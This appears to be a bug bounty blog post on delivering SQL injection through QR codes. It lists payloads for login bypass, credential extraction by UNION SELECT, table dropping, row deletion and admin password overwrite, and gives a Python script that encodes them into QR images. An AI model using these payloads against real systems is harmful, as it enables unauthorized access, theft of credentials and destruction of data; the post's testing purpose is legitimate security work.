QR CODE SQL Injection
QR CODE SQL Injection
--
Greetings, fellow cybersecurity enthusiasts! My name is Roninja, hailing from the vibrant state of Uttar Pradesh, India. At the age of 22, I find myself passionately delving into the realms of cybersecurity, exploring every nook and cranny for vulnerabilities that lie hidden within digital infrastructures. As a part-time mobile developer and an avid Huawei pentester for the past three months, I’ve come across a fascinating discovery that I believe holds immense potential for bug bounty hunters worldwide — the untapped power of QR codes.
The Quest Begins: In my quest to uncover new avenues for identifying and exploiting vulnerabilities, I stumbled upon the ubiquitous QR code — a seemingly innocuous square of black and white pixels that permeates our daily lives. Intrigued by its potential as an attack vector, I embarked on a journey to explore the various ways in which QR codes could be leveraged in the realm of bug bounty hunting.
Unveiling the Potential: Through meticulous research and experimentation, I discovered that QR codes could serve as a stealthy conduit for injecting SQL payloads into vulnerable systems. By appending carefully crafted SQL injection payloads to the data encoded within QR codes, attackers can manipulate backend databases and gain unauthorized access to sensitive information.
The Art of Payload Crafting: As a bug bounty hunter, one must possess a keen understanding of SQL injection techniques and how they can be tailored to exploit specific vulnerabilities. By appending SQL injection payloads such as ' OR 1=1 -- -, ' UNION SELECT username, password FROM users--, and ' OR '1'='1'-- to the data encoded within QR codes, attackers can bypass authentication mechanisms, extract confidential data, and even execute arbitrary commands on targeted systems.
import qrcode
import random
from PIL import Image
import os
import time
# SQL injection payloads
sql_injections = [
"' OR 1=1 -- -",
"' OR 1=1 -- #",
"' OR '1'='1",
"' OR '1'='1'--",
"'; DROP TABLE users;--",
"'; SELECT * FROM users WHERE username='admin'--",
"'; DELETE FROM users WHERE username='admin'--",
"'; UPDATE users SET password='hacked' WHERE username='admin'--",
"' UNION SELECT username, password FROM users--",
"' UNION SELECT NULL, NULL, NULL, table_name FROM information_schema.tables--"
]
# Function to generate and save QR code images
def generate_qr_code(text, filename):
qr = qrcode.QRCode()
qr.add_data(text)
qr.make()
img = qr.make_image(fill_color="black", back_color="white")
img.save(filename)
# Generate and save 10 QR codes
for i in range(10):
random_injection = random.choice(sql_injections)
data = 'roninja' + random_injection
filename = f"qr_code_{i}.png"
generate_qr_code(data, filename)
# Rotate and display QR codes
for i in range(10):
filename = f"qr_code_{i}.png"
img = Image.open(filename)
img.show()
time.sleep(2)
os.remove(filename) # Remove the QR code image after displaying
Practical Implications for Bug Bounty Hunters: The implications of this research extend far beyond theoretical conjecture. Bug bounty hunters can leverage QR codes as a covert means of exploiting SQL injection vulnerabilities in web applications, mobile apps, and IoT devices. By incorporating QR code scanning functionalities into their testing methodologies, researchers can uncover hidden vulnerabilities that traditional testing approaches may overlook.
Conclusion: In conclusion, the utilization of QR codes as a vehicle for SQL injection attacks represents a paradigm shift in the realm of bug bounty hunting. As researchers, it is imperative that we remain vigilant and continuously adapt our methodologies to stay one step ahead of adversaries. By embracing innovative techniques and thinking outside the box, we can unlock new opportunities for uncovering vulnerabilities and fortifying digital defenses.
So, fellow cybersecurity aficionados, let us embark on this journey together, harnessing the power of QR codes to safeguard the digital landscape and pave the way for a more secure future.
Stay curious, stay vigilant, and happy hunting!
